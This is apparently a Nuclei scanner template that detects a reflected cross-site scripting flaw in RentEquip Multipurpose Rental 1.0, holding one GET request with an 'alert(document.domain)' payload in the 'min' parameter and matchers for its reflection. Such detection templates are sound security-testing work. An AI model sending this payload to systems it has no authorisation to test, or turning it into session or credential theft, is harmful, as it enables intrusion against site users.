id: rentequip-xss

info:
  name: RentEquip Multipurpose Rental 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://vulners.com/packetstorm/PACKETSTORM:173002
    - https://www.exploitalert.com/view-details.html?id=39611
    - https://codecanyon.net/user/kreativdev/portfolio
  metadata:
    verified: true
    max-request: 1
  tags: xss,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/shop/products?category=cordless-tools&min=1026553%3balert(document.domain)%2f%2f772"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "rentequip") && contains(body, "1026553;alert(document.domain)//772")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 490a0046304402204679cdcea16eaa991c78ea9583b7321aefdcacb540291d8f74fabe84599d7f6102201c948ca80522c4a6138e2548bc22f0cb1a270373b0be0bab6daa32c6bcb85b85:922c64590222798bb761d5b6d8e72950